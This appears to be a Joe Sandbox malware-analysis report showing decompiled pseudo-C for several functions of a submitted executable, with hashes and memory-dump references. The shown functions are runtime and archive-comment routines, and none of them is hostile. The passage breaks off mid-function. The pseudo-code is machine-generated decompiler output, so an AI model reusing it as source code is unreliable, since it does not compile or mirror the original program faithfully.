0x013a3c62
0x013a3c68
0x013a3c6e
0x013a3c74
0x013a3c7a
0x013a3c80
0x013a3c86
0x013a3c9f
0x013a3c88
0x013a3c88
0x013a3c89
0x013a3c8a
0x013a3c8b
0x013a3c8b
0x013a3cb9
0x013a3cbb
0x013a3cca
0x013a3ccc
0x013a3cf9
0x013a3cce
0x013a3cdb
0x013a3ce7
0x013a3cec
0x013a3cee
0x013a3cf2
0x013a3cf2
0x013a3cee
0x013a3cfb
0x013a3d01
0x013a3d07
0x00000000
0x013a3d09
0x013a3baa
0x013a3bb0
0x013a3bb6
0x00000000
0x00000000
0x013a3bdf
0x013a3be8
0x013a3be8
0x013a3bff
0x00000000
0x013a3bff
0x013a3b4f
0x013a3b55
0x013a3b75
0x013a3b75
0x013a3b77
0x013a3b8a
0x013a3b9d
0x013a3b79
0x013a3b79
0x013a3b79
0x00000000
0x013a3b77
0x013a3b57
0x013a3b65
0x013a3b6b
0x00000000
0x013a3b6b
0x013a3b59
0x013a3b63
0x00000000
0x00000000
0x00000000
0x013a3b63
0x013a3b06
0x013a3b0c
0x00000000
0x013a3b0e
0x013a3b0e
0x00000000
0x013a3b0e
0x013a3ab0
0x013a3ab6
0x013a3ac2
0x013a3d17
0x013a3d17
0x013a3d19
0x013a3d1d
0x013a3d27
0x013a3d27

APIs

__EH_prolog.LIBCMT ref: 013A3A95

Strings

CMT, xrefs: 013A3AA4

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: c102d5508c7c3752af243c300b143678a489b561ae6175f1714054a3097bbe2c
Instruction ID: 6d2768bae63f89bf1d53f17a241c6b0d9c2ec96c07de5a185f09f2c394302037
Opcode Fuzzy Hash: c102d5508c7c3752af243c300b143678a489b561ae6175f1714054a3097bbe2c
Instruction Fuzzy Hash: 49619E71504F45AEDB25DB38CC909E7B7E9FB24309F84491EE6AB87141DB326648CF50

Uniqueness

Uniqueness Score: -1.00%

Function 013C82B4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013C82B4(void* __ebx, signed int __edx, void* __edi, void* __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				char _v520;
				char _v776;
				char _v1800;
				char _v1814;
				struct _cpinfo _v1820;
				intOrPtr _v1824;
				signed int _v1828;
				signed int _t63;
				void* _t67;
				signed int _t68;
				intOrPtr _t69;
				void* _t72;
				char _t73;
				char _t74;
				signed char _t75;
				signed int _t76;
				signed char _t86;
				char _t87;
				char _t90;
				signed int _t93;
				signed int _t94;
				signed int _t95;
				void* _t96;
				char* _t97;
				intOrPtr _t101;
				signed int _t102;

				_t95 = __edx;
				_t63 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t63 ^ _t102;
				_t101 = _a4;
				_t4 = _t101 + 4; // 0x5efc4d8b
				if(GetCPInfo( *_t4,  &_v1820) == 0) {
					_t47 = _t101 + 0x119; // 0x13c88ff
					_t96 = _t47;
					_t90 = 0;
					_t67 = 0xffffff9f;
					_t68 = _t67 - _t96;
					__eflags = _t68;
					_v1828 = _t68;
					do {
						_t97 = _t96 + _t90;
						_t69 = _t68 + _t97;
						_v1824 = _t69;
						__eflags = _t69 + 0x20 - 0x19;
						if(_t69 + 0x20 > 0x19) {
							__eflags = _v1824 - 0x19;
							if(_v1824 > 0x19) {
								 *_t97 = 0;
							} else {
								_t72 = _t101 + _t90;
								_t57 = _t72 + 0x19;
								 *_t57 =  *(_t72 + 0x19) | 0x00000020;
								__eflags =  *_t57;
								_t59 = _t90 - 0x20; // -32
								_t73 = _t59;
								goto L24;
							}
						} else {
							 *(_t101 + _t90 + 0x19) =  *(_t101 + _t90 + 0x19) | 0x00000010;
							_t54 = _t90 + 0x20; // 0x20
							_t73 = _t54;
							L24:
							 *_t97 = _t73;
						}
						_t68 = _v1828;
						_t61 = _t101 + 0x119; // 0x13c88ff
						_t96 = _t61;
						_t90 = _t90 + 1;
						__eflags = _t90 - 0x100;
					} while (_t90 < 0x100);
				} else {
					_t74 = 0;
					do {
						 *((char*)(_t102 + _t74 - 0x104)) = _t74;
						_t74 = _t74 + 1;
					} while (_t74 < 0x100);
					_t75 = _v1814;
					_t93 =  &_v1814;
					_v264 = 0x20;
					while(1) {
						_t108 = _t75;
						if(_t75 == 0) {
							break;
						}
						_t95 =  *(_t93 + 1) & 0x000000ff;
						_t76 = _t75 & 0x000000ff;
						while(1) {
							__eflags = _t76 - _t95;
							if(_t76 > _t95) {
								break;
							}
							__eflags = _t76 - 0x100;
							if(_t76 < 0x100) {
								 *((char*)(_t102 + _t76 - 0x104)) = 0x20;
								_t76 = _t76 + 1;
								__eflags = _t76;
								continue;
							}
							break;
						}
						_t93 = _t93 + 2;
						__eflags = _t93;
						_t75 =  *_t93;
					}
					_t13 = _t101 + 4; // 0x5efc4d8b
					E013C93E4(0, _t95, 0x100, _t101, _t108, 0, 1,  &_v264, 0x100,  &_v1800,  *_t13, 0);
					_t16 = _t101 + 4; // 0x5efc4d8b
					_t19 = _t101 + 0x21c; // 0xe857db33
					E013C75BC(0x100, _t101, _t108, 0,  *_t19, 0x100,  &_v264, 0x100,  &_v520, 0x100,  *_t16, 0); // executed
					_t21 = _t101 + 4; // 0x5efc4d8b
					_t23 = _t101 + 0x21c; // 0xe857db33
					E013C75BC(0x100, _t101, _t108, 0,  *_t23, 0x200,  &_v264, 0x100,  &_v776, 0x100,  *_t21, 0);
					_t94 = 0;
					do {
						_t86 =  *(_t102 + _t94 * 2 - 0x704) & 0x0000ffff;
						if((_t86 & 0x00000001) == 0) {
							__eflags = _t86 & 0x00000002;
							if((_t86 & 0x00000002) == 0) {
								 *((char*)(_t101 + _t94 + 0x119)) = 0;
							} else {
								_t37 = _t101 + _t94 + 0x19;
								 *_t37 =  *(_t101 + _t94 + 0x19) | 0x00000020;
								__eflags =  *_t37;
								_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x304));
								goto L15;
							}
						} else {
							 *(_t101 + _t94 + 0x19) =  *(_t101 + _t94 + 0x19) | 0x00000010;
							_t87 =  *((intOrPtr*)(_t102 + _t94 - 0x204));
							L15:
							 *((char*)(_t101 + _t94 + 0x119)) = _t87;
						}
						_t94 = _t94 + 1;
					} while (_t94 < 0x100);
				}
				return E013BD763(_v8 ^ _t102);
			}

0x013c82b4
0x013c82bf
0x013c82c6
0x013c82cb
0x013c82d6
0x013c82e8
0x013c83e0
0x013c83e0
0x013c83e6
0x013c83e8
0x013c83e9
0x013c83e9
0x013c83eb
0x013c83f1
0x013c83f1
0x013c83f3
0x013c83f5
0x013c83fe
0x013c8401
0x013c840d
0x013c8414
0x013c8424
0x013c8416
0x013c8416
0x013c8419
0x013c8419
0x013c8419
0x013c841d
0x013c841d
0x00000000
0x013c841d
0x013c8403
0x013c8403
0x013c8408
0x013c8408
0x013c8420
0x013c8420
0x013c8420
0x013c8426
0x013c842c
0x013c842c
0x013c8432
0x013c8433
0x013c8433
0x013c82ee
0x013c82ee
0x013c82f0
0x013c82f0
0x013c82f7
0x013c82f8
0x013c82fc
0x013c8302
0x013c8308
0x013c8330
0x013c8330
0x013c8332
0x00000000
0x00000000
0x013c8311
0x013c8315
0x013c8327
0x013c8327
0x013c8329
0x00000000
0x00000000
0x013c831a
0x013c831c
0x013c831e
0x013c8326
0x013c8326
0x00000000
0x013c8326
0x00000000
0x013c831c
0x013c832b
0x013c832b
0x013c832e
0x013c832e
0x013c8335
0x013c834a
0x013c8350
0x013c8364
0x013c836b
0x013c837a
0x013c838c
0x013c8393
0x013c839b
0x013c839d
0x013c839d
0x013c83a7
0x013c83b7
0x013c83b9
0x013c83d0
0x013c83bb
0x013c83bb
0x013c83bb
0x013c83bb
0x013c83c0
0x00000000
0x013c83c0
0x013c83a9
0x013c83a9
0x013c83ae
0x013c83c7
0x013c83c7
0x013c83c7
0x013c83d7
0x013c83d8
0x013c83dc
0x013c8447

APIs

GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 013C82D9

Strings

, xrefs: 013C831E

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 2e8314da962f4e8e276d0d3b1281483dae101cbe962879dbe946fe4f1c972f8a
Instruction ID: 6a92362fd6a7d5f7a312ddc84f054db41469774469565952680ee42b19e3b3ef
Opcode Fuzzy Hash: 2e8314da962f4e8e276d0d3b1281483dae101cbe962879dbe946fe4f1c972f8a
Instruction Fuzzy Hash: D741FC7450439C9BDB228E688C84AFABBFDDB55B0CF1404EDD58A97142D235AF45CF60

Uniqueness

Uniqueness Score: -1.00%

Function 013A1DD2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E013A1DD2(intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t34;
				intOrPtr _t41;
				intOrPtr _t51;
				void* _t62;
				unsigned int _t64;
				signed int _t66;
				intOrPtr* _t68;
				void* _t70;

				_t62 = __edx;
				_t51 = __ecx;
				E013BCDF0(E013CF403, _t70);
				_t49 = 0;
				 *((intOrPtr*)(_t70 - 0x10)) = _t51;
				 *((intOrPtr*)(_t70 - 0x24)) = 0;
				 *(_t70 - 0x20) = 0;
				 *((intOrPtr*)(_t70 - 0x1c)) = 0;
				 *((intOrPtr*)(_t70 - 0x18)) = 0;
				 *((char*)(_t70 - 0x14)) = 0;
				 *((intOrPtr*)(_t70 - 4)) = 0;
				_t34 = E013A3A90(_t51, _t62, _t70 - 0x24, 0); // executed
				if(_t34 != 0) {
					_t64 =  *(_t70 - 0x20);
					E013A1736(_t70 - 0x24, _t62, 1);
					_t68 =  *((intOrPtr*)(_t70 + 8));
					 *((char*)( *(_t70 - 0x20) +  *((intOrPtr*)(_t70 - 0x24)) - 1)) = 0;
					E013A18AD(_t68, _t64 + 1);
					_t41 =  *((intOrPtr*)(_t70 - 0x10));
					if( *((intOrPtr*)(_t41 + 0x6cb0)) != 3) {
						if(( *(_t41 + 0x45f4) & 0x00000001) == 0) {
							E013B06D7( *((intOrPtr*)(_t70 - 0x24)),  *_t68,  *((intOrPtr*)(_t68 + 4)));
						} else {
							_t66 = _t64 >> 1;
							E013B0752( *((intOrPtr*)(_t70 - 0x24)),  *_t68, _t66);
							 *((short*)( *_t68 + _t66 * 2)) = 0;
						}
					} else {
						_push( *((intOrPtr*)(_t68 + 4)));
						_push( *_t68);
						_push( *((intOrPtr*)(_t70 - 0x24)));
						E013B078D();
					}
					E013A18AD(_t68, E013C20A3( *_t68));
					_t49 = 1;
				}
				E013A15CE(_t70 - 0x24);
				 *[fs:0x0] =  *((intOrPtr*)(_t70 - 0xc));
				return _t49;
			}

0x013a1dd2
0x013a1dd2
0x013a1dd7
0x013a1de0
0x013a1de4
0x013a1de7
0x013a1dea
0x013a1ded
0x013a1df0
0x013a1df3
0x013a1dfa
0x013a1e00
0x013a1e07
0x013a1e0f
0x013a1e17
0x013a1e22
0x013a1e25
0x013a1e2f
0x013a1e34
0x013a1e3e
0x013a1e56
0x013a1e77
0x013a1e58
0x013a1e58
0x013a1e60
0x013a1e69
0x013a1e69
0x013a1e40
0x013a1e40
0x013a1e43
0x013a1e45
0x013a1e48
0x013a1e48
0x013a1e87
0x013a1e8d
0x013a1e8f
0x013a1e93
0x013a1e9e
0x013a1ea8

APIs

__EH_prolog.LIBCMT ref: 013A1DD7

Part of subcall function 013A3A90: __EH_prolog.LIBCMT ref: 013A3A95

Strings

CMT, xrefs: 013A1E0D

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 56864dad92bc1c569c5a8270975ab172b318bb1fe03ba820fadc6d3cd54ffc54
Instruction ID: c02df3890fcb23b9d02ec1ee492a1e8399597e24e936d64ec288dcf2d3853516
Opcode Fuzzy Hash: 56864dad92bc1c569c5a8270975ab172b318bb1fe03ba820fadc6d3cd54ffc54
Instruction Fuzzy Hash: DF215A7690020A9FCB15EF98C9809EEFBFAFF68204F5005ADE559B7650D7325E11CB60

Uniqueness

Uniqueness Score: -1.00%

Function 013A192C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013A192C(intOrPtr* __ecx, intOrPtr __edx, void* __esi) {
				void* __edi;
				void* _t19;
				void* _t23;
				void* _t25;
				signed int _t27;
				void* _t28;
				void* _t34;
				signed int _t35;
				intOrPtr* _t37;
				intOrPtr* _t38;
				intOrPtr _t45;
				intOrPtr* _t48;
				void* _t52;
				void* _t53;

				_t45 = __edx;
				_t37 = __ecx;
				E013BCDF0(_t19, _t53);
				_t48 = _t37;
				if( *((char*)(_t48 + 0x6cb6)) != 0) {
					 *((intOrPtr*)(_t53 - 0x1c)) = _t48;
					 *((intOrPtr*)(_t53 - 0x14)) =  *((intOrPtr*)( *_t48 + 0x14))(_t34);
					 *((intOrPtr*)(_t53 - 0x10)) = _t45;
					_t35 = 0;
					_t38 = _t48;
					 *((intOrPtr*)(_t53 - 4)) = 0;
					if( *((intOrPtr*)(_t48 + 0x2224)) == 0) {
						_t23 = E013A2091(_t38);
						 *((intOrPtr*)( *_t48 + 0x10))(_t45, 0, __esi);
						_t25 = E013A3E39(_t48, _t45, L"CMT");
						_t52 = _t23;
						if(_t25 != 0) {
							_t28 = E013A1DD2(_t48, _t45, _t48, _t52,  *((intOrPtr*)(_t53 + 8))); // executed
							if(_t28 != 0) {
								_t35 = 1;
							}
						}
					} else {
						 *((intOrPtr*)( *_t48 + 0x10))( *((intOrPtr*)(_t48 + 0x6cc0)) + 0x14, 0, 0);
						if(E013A3A0D(_t48,  *_t48) != 0 &&  *((intOrPtr*)(_t48 + 0x21dc)) == 0x75) {
							_t35 = 0 |  *((intOrPtr*)( *((intOrPtr*)(_t53 + 8)) + 4)) > 0x00000000;
						}
					}
					E013A16D0(_t53 - 0x1c); // executed
					_t27 = _t35;
				} else {
					_t27 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t53 - 0xc));
				return _t27;
			}

0x013a192c
0x013a192c
0x013a192c
0x013a1935
0x013a193e
0x013a194a
0x013a1950
0x013a1953
0x013a1956
0x013a1958
0x013a195a
0x013a1963
0x013a1999
0x013a19a2
0x013a19ac
0x013a19b1
0x013a19b4
0x013a19bb
0x013a19c2
0x013a19c4
0x013a19c4
0x013a19c2
0x013a1965
0x013a1973
0x013a197f
0x013a1990
0x013a1990
0x013a197f
0x013a19c9
0x013a19ce
0x013a1940
0x013a1940
0x013a1940
0x013a19d5
0x013a19df

APIs

__EH_prolog.LIBCMT ref: 013A192C

Strings

CMT, xrefs: 013A19A5

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: H_prolog
String ID: CMT
API String ID: 3519838083-2756464174
Opcode ID: 7159022e35a23442273160f60b3d37c1597dd2b5fc66c603f0ffc0930b6d794d
Instruction ID: e5c43b5f487dbbb0ba811dcfb8d037769ce7d95f215b5faa40936742a480dce2
Opcode Fuzzy Hash: 7159022e35a23442273160f60b3d37c1597dd2b5fc66c603f0ffc0930b6d794d
Instruction Fuzzy Hash: FF11E671A00206AFDB14DF6DC4949BEFBEAFF55208F84411EE84597341DB309850CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 013C79FA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E013C79FA(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _t18;
				intOrPtr* _t20;
				intOrPtr* _t31;
				signed int _t33;

				_t26 = __ecx;
				_push(__ecx);
				_t18 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t18 ^ _t33;
				_push(__esi);
				_t20 = E013C7726(0x16, "LCMapStringEx", 0x13d3794, "LCMapStringEx"); // executed
				_t31 = _t20;
				if(_t31 == 0) {
					LCMapStringW(E013C7A82(_t26, _t31, __eflags, _a4, 0), _a8, _a12, _a16, _a20, _a24);
				} else {
					 *0x13d025c(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36);
					 *_t31();
				}
				return E013BD763(_v8 ^ _t33);
			}

0x013c79fa
0x013c79ff
0x013c7a00
0x013c7a07
0x013c7a0a
0x013c7a1c
0x013c7a21
0x013c7a28
0x013c7a6b
0x013c7a2a
0x013c7a47
0x013c7a4d
0x013c7a4d
0x013c7a7f

APIs

LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,F5E85006,00000001,?,000000FF), ref: 013C7A6B

Strings

LCMapStringEx, xrefs: 013C7A0B, 013C7A15

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: beebb219f47cf53b34e7dd04deae3de9408b2dcf10467759b820a94ceab7cc07
Instruction ID: 4ff119f24243ed3bbea998ac624d587a35730044c2dee28515123b4ce54a5330
Opcode Fuzzy Hash: beebb219f47cf53b34e7dd04deae3de9408b2dcf10467759b820a94ceab7cc07
Instruction Fuzzy Hash: 6301257654120DBBCF12AF94ED45DEE7FA6EF08B54F014118FE1826220D6329D30EB91

Uniqueness

Uniqueness Score: -1.00%

Function 013C7998 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E013C7998(void* __ecx, void* __esi, void* __eflags, struct _CRITICAL_SECTION* _a4, long _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _t8;
				intOrPtr* _t10;
				intOrPtr* _t20;
				signed int _t22;

				_push(__ecx);
				_t8 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t8 ^ _t22;
				_t10 = E013C7726(0x14, "InitializeCriticalSectionEx", 0x13d378c, 0x13d3794); // executed
				_t20 = _t10;
				if(_t20 == 0) {
					InitializeCriticalSectionAndSpinCount(_a4, _a8);
				} else {
					 *0x13d025c(_a4, _a8, _a12);
					 *_t20();
				}
				return E013BD763(_v8 ^ _t22);
			}

0x013c799d
0x013c799e
0x013c79a5
0x013c79ba
0x013c79bf
0x013c79c6
0x013c79e3
0x013c79c8
0x013c79d3
0x013c79d9
0x013c79d9
0x013c79f7

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,013C708B), ref: 013C79E3

Strings

InitializeCriticalSectionEx, xrefs: 013C79B3

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: a7913ce9aabbac2d04043131208a64c4aec4840442660fd578ed87b39317f560
Instruction ID: 45024779ba2b7026c6611465cb4f2a13f02b9894940530691581d4a724726776
Opcode Fuzzy Hash: a7913ce9aabbac2d04043131208a64c4aec4840442660fd578ed87b39317f560
Instruction Fuzzy Hash: 2EF0BE76A4221DBBCB11AF65ED06CAEBFA5EF04B64F004129FD185A210DA728D10DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 013C783D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E013C783D(void* __ecx, void* __esi, void* __eflags, intOrPtr _a4) {
				signed int _v8;
				signed int _t4;
				intOrPtr* _t6;
				intOrPtr* _t16;
				signed int _t18;

				_push(__ecx);
				_t4 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t4 ^ _t18;
				_t6 = E013C7726(3, "FlsAlloc", 0x13d3750, 0x13d3758); // executed
				_t16 = _t6;
				if(_t16 == 0) {
					TlsAlloc();
				} else {
					 *0x13d025c(_a4);
					 *_t16();
				}
				return E013BD763(_v8 ^ _t18);
			}

0x013c7842
0x013c7843
0x013c784a
0x013c785f
0x013c7864
0x013c786b
0x013c787c
0x013c786d
0x013c7872
0x013c7878
0x013c7878
0x013c7890

APIs

TlsAlloc.KERNEL32 ref: 013C787C

Strings

FlsAlloc, xrefs: 013C7858

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 9f1e6c7fa15b2bd9d2e8d5c1e5e39fa0e2297c92a4517de31bd4694e4228f0aa
Instruction ID: 568cac6e313c671a6f8d651805377242646f2938d1861e0b6f4a36a19b0b79a3
Opcode Fuzzy Hash: 9f1e6c7fa15b2bd9d2e8d5c1e5e39fa0e2297c92a4517de31bd4694e4228f0aa
Instruction Fuzzy Hash: 63E0A076A42218BBD318ABA5BD469AEBF98DB54F24F41005DFE0567200EA615E008B96

Uniqueness

Uniqueness Score: -1.00%

Function 013C1D87 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E013C1D87(void* __eflags, intOrPtr _a4) {
				intOrPtr* _t2;
				intOrPtr* _t6;

				_t2 = E013C1C66(4, "FlsAlloc", 0x13d1aa4, "FlsAlloc"); // executed
				_t6 = _t2;
				if(_t6 == 0) {
					return TlsAlloc();
				}
				L013BD7FE();
				return  *_t6(_a4);
			}

0x013c1d9c
0x013c1da1
0x013c1da8
0x013c1dbb
0x013c1dbb
0x013c1daf
0x013c1db8

APIs

try_get_function.LIBVCRUNTIME ref: 013C1D9C

Strings

FlsAlloc, xrefs: 013C1D8B, 013C1D95

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: try_get_function
String ID: FlsAlloc
API String ID: 2742660187-671089009
Opcode ID: 0b7d3aa3a207bbd23f5d150de23a6a2851b2cd3fd2723c7242671233bb3e875d
Instruction ID: d8d1cd3a2936a6d6945fbd2a09f2dc09d1541866f54bf1c1614fe82bed730351
Opcode Fuzzy Hash: 0b7d3aa3a207bbd23f5d150de23a6a2851b2cd3fd2723c7242671233bb3e875d
Instruction Fuzzy Hash: 25D05B37B81375B7E51435D9BC029EA7E88DB00DBDF050055FF08663069561495053D2

Uniqueness

Uniqueness Score: -1.00%

Function 013C8609 Relevance: 3.2, APIs: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E013C8609(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				signed int _v32;
				signed int _v36;
				signed int _t48;
				int _t51;
				signed int _t54;
				signed int _t55;
				short _t58;
				signed char _t62;
				signed int _t63;
				signed char* _t72;
				signed char* _t73;
				int _t78;
				signed int _t81;
				signed char* _t82;
				short* _t83;
				int _t87;
				signed char _t88;
				signed int _t89;
				signed int _t91;
				signed int _t92;
				int _t94;
				int _t95;
				intOrPtr _t98;
				signed int _t99;

				_t48 =  *0x13da1c8; // 0x21a16d55
				_v8 = _t48 ^ _t99;
				_t98 = _a8;
				_t78 = E013C81DC(__eflags, _a4);
				if(_t78 != 0) {
					_t94 = 0;
					__eflags = 0;
					_t81 = 0;
					_t51 = 0;
					_v32 = 0;
					while(1) {
						__eflags =  *((intOrPtr*)(_t51 + 0x13da388)) - _t78;
						if( *((intOrPtr*)(_t51 + 0x13da388)) == _t78) {
							break;
						}
						_t81 = _t81 + 1;
						_t51 = _t51 + 0x30;
						_v32 = _t81;
						__eflags = _t51 - 0xf0;
						if(_t51 < 0xf0) {
							continue;
						} else {
							__eflags = _t78 - 0xfde8;
							if(_t78 == 0xfde8) {
								L23:
							} else {
								__eflags = _t78 - 0xfde9;
								if(_t78 == 0xfde9) {
									goto L23;
								} else {
									_t51 = IsValidCodePage(_t78 & 0x0000ffff);
									__eflags = _t51;
									if(_t51 == 0) {
										goto L23;
									} else {
										_t51 = GetCPInfo(_t78,  &_v28);
										__eflags = _t51;
										if(_t51 == 0) {
											__eflags =  *0x13fb374 - _t94; // 0x0
											if(__eflags == 0) {
												goto L23;
											} else {
												E013C824F(_t98);
												goto L37;
											}
										} else {
											E013BDE40(_t94, _t98 + 0x18, _t94, 0x101);
											 *(_t98 + 4) = _t78;
											 *(_t98 + 0x21c) = _t94;
											_t78 = 1;
											__eflags = _v28 - 1;
											if(_v28 <= 1) {
												 *(_t98 + 8) = _t94;
											} else {
